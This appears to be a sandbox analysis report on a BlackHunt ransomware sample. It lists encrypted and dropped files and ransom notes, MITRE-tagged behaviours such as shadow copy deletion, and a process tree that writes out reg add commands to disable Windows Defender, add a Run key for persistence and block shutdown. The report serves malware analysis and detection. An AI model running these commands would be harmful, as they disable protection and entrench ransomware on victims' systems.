File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\index.gif	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\update_tracking\org-netbeans-modules-profiler-attach.xml	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
File created	C:\Program Files\VideoLAN\VLC\locale\eu\LC_MESSAGES\#BlackHunt_ReadMe.txt	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\ml\LC_MESSAGES\vlc.mo	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\services_discovery\#BlackHunt_ReadMe.txt	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\VDKHome\ENU\acro20.lng	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\LayeredTitles\NavigationLeft_ButtonGraphic.png	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.feature_3.9.0.v20140827-1444\META-INF\MANIFEST.MF	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
File created	C:\Program Files\VideoLAN\VLC\locale\gu\#BlackHunt_Private.key	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\PFM\SY______.PFM	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Indian\Mauritius	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\lib\#BlackHunt_ReadMe.txt	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\lib\deployed\jdk15\#BlackHunt_Private.key	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\lib\locale\org-openide-util-lookup_ja.jar	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-templates_zh_CN.jar	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
File created	C:\Program Files\VideoLAN\VLC\locale\he\#BlackHunt_ReadMe.hta	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\playlist\anevia_streams.luac	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Antarctica\Mawson	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-modules-masterfs-nio2.xml	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\update_tracking\com-sun-tools-visualvm-host-views.xml	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\#BlackHunt_ReadMe.txt	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Notes_LOOP_BG.wmv	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\artifacts.xml	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.core_5.5.0.165303.jar	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.ql.nl_zh_4.4.0.v20140623020002.jar	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-core-execution_ja.jar	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\ach\LC_MESSAGES\vlc.mo	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\bin\#BlackHunt_ReadMe.txt	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
File created	C:\Program Files\VideoLAN\VLC\locale\oc\#BlackHunt_ReadMe.hta	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
File created	C:\Program Files\VideoLAN\VLC\locale\vi\LC_MESSAGES\#BlackHunt_Private.key	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fur\#BlackHunt_ReadMe.hta	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\LayeredTitles\NavigationUp_SelectionSubpicture.png	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\db\bin\dblook	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Oral	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Singapore	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\#BlackHunt_ReadMe.txt	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
File created	C:\Program Files\Google\#BlackHunt_Private.key	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.engine\profileRegistry\JMC.profile\.data\#BlackHunt_ReadMe.hta	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.core.resources_3.9.1.v20140825-1431.jar	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.launcher.win32.win32.x86_64_1.1.200.v20141007-2033\launcher.win32.win32.x86_64.properties	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2900	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2440	vssadmin.exe
2712	vssadmin.exe
2404	vssadmin.exe
1256	vssadmin.exe
2968	vssadmin.exe
2832	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
1664	taskkill.exe

Modifies registry class 10 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1732	PING.EXE

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2652	mshta.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	2912	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
Token: SeRestorePrivilege	2912	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
Token: SeBackupPrivilege	2912	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
Token: SeTakeOwnershipPrivilege	2912	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
Token: SeAuditPrivilege	2912	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
Token: SeSecurityPrivilege	2912	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
Token: SeIncBasePriorityPrivilege	2912	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
Token: SeBackupPrivilege	1976	vssvc.exe
Token: SeRestorePrivilege	1976	vssvc.exe
Token: SeAuditPrivilege	1976	vssvc.exe
Token: SeBackupPrivilege	2716	wbengine.exe
Token: SeRestorePrivilege	2716	wbengine.exe
Token: SeSecurityPrivilege	2716	wbengine.exe
Token: SeSecurityPrivilege	1240	wevtutil.exe
Token: SeBackupPrivilege	1240	wevtutil.exe
Token: SeSecurityPrivilege	1816	wevtutil.exe
Token: SeBackupPrivilege	1816	wevtutil.exe
Token: SeSecurityPrivilege	960	wevtutil.exe
Token: SeSecurityPrivilege	1604	wevtutil.exe
Token: SeBackupPrivilege	960	wevtutil.exe
Token: SeBackupPrivilege	1604	wevtutil.exe
Token: SeSecurityPrivilege	544	wevtutil.exe
Token: SeBackupPrivilege	544	wevtutil.exe
Token: SeDebugPrivilege	1664	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2912 wrote to memory of 2764	2912	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe	29
PID 2912 wrote to memory of 2764	2912	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe	29
PID 2912 wrote to memory of 2764	2912	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe	29
PID 2912 wrote to memory of 2764	2912	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe	29
PID 2912 wrote to memory of 2772	2912	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe	30
PID 2912 wrote to memory of 2772	2912	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe	30
PID 2912 wrote to memory of 2772	2912	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe	30
PID 2912 wrote to memory of 2772	2912	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe	30
PID 2912 wrote to memory of 2788	2912	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe	31
PID 2912 wrote to memory of 2788	2912	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe	31
PID 2912 wrote to memory of 2788	2912	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe	31
PID 2912 wrote to memory of 2788	2912	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe	31
PID 2912 wrote to memory of 2648	2912	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe	35
PID 2912 wrote to memory of 2648	2912	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe	35
PID 2912 wrote to memory of 2648	2912	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe	35
PID 2912 wrote to memory of 2648	2912	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe	35
PID 2912 wrote to memory of 2928	2912	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe	36
PID 2912 wrote to memory of 2928	2912	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe	36
PID 2912 wrote to memory of 2928	2912	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe	36
PID 2912 wrote to memory of 2928	2912	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe	36
PID 2912 wrote to memory of 2396	2912	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe	38
PID 2912 wrote to memory of 2396	2912	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe	38
PID 2912 wrote to memory of 2396	2912	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe	38
PID 2912 wrote to memory of 2396	2912	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe	38
PID 2912 wrote to memory of 2924	2912	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe	40
PID 2912 wrote to memory of 2924	2912	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe	40
PID 2912 wrote to memory of 2924	2912	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe	40
PID 2912 wrote to memory of 2924	2912	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe	40
PID 2912 wrote to memory of 2716	2912	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe	43
PID 2912 wrote to memory of 2716	2912	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe	43
PID 2912 wrote to memory of 2716	2912	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe	43
PID 2912 wrote to memory of 2716	2912	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe	43
PID 2912 wrote to memory of 2692	2912	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe	44
PID 2912 wrote to memory of 2692	2912	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe	44
PID 2912 wrote to memory of 2692	2912	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe	44
PID 2912 wrote to memory of 2692	2912	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe	44
PID 2912 wrote to memory of 2868	2912	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe	46
PID 2912 wrote to memory of 2868	2912	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe	46
PID 2912 wrote to memory of 2868	2912	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe	46
PID 2912 wrote to memory of 2868	2912	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe	46
PID 2912 wrote to memory of 2228	2912	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe	48
PID 2912 wrote to memory of 2228	2912	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe	48
PID 2912 wrote to memory of 2228	2912	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe	48
PID 2912 wrote to memory of 2228	2912	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe	48
PID 2912 wrote to memory of 2572	2912	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe	50
PID 2912 wrote to memory of 2572	2912	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe	50
PID 2912 wrote to memory of 2572	2912	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe	50
PID 2912 wrote to memory of 2572	2912	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe	50
PID 2912 wrote to memory of 2636	2912	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe	51
PID 2912 wrote to memory of 2636	2912	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe	51
PID 2912 wrote to memory of 2636	2912	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe	51
PID 2912 wrote to memory of 2636	2912	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe	51
PID 2764 wrote to memory of 3008	2764	cmd.exe	54
PID 2764 wrote to memory of 3008	2764	cmd.exe	54
PID 2764 wrote to memory of 3008	2764	cmd.exe	54
PID 2912 wrote to memory of 1312	2912	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe	56
PID 2912 wrote to memory of 1312	2912	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe	56
PID 2912 wrote to memory of 1312	2912	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe	56
PID 2912 wrote to memory of 1312	2912	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe	56
PID 2912 wrote to memory of 3024	2912	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe	57
PID 2912 wrote to memory of 3024	2912	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe	57
PID 2912 wrote to memory of 3024	2912	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe	57
PID 2912 wrote to memory of 3024	2912	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe	57
PID 2912 wrote to memory of 692	2912	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe	59

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe
"C:\Users\Admin\AppData\Local\Temp\2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2912
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2764
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:3008
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:2772
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2336
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  PID:2788
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:1428
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:2648
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2612
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  PID:2928
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:1016
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:2396
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:1080
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:2924
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:1888
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:2716
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:2808
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:2692
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:2072
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:2868
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:944
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:2228
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:2900
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:2572
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:2064
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2636
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:2836
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:1312
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:2908
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:3024
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:2624
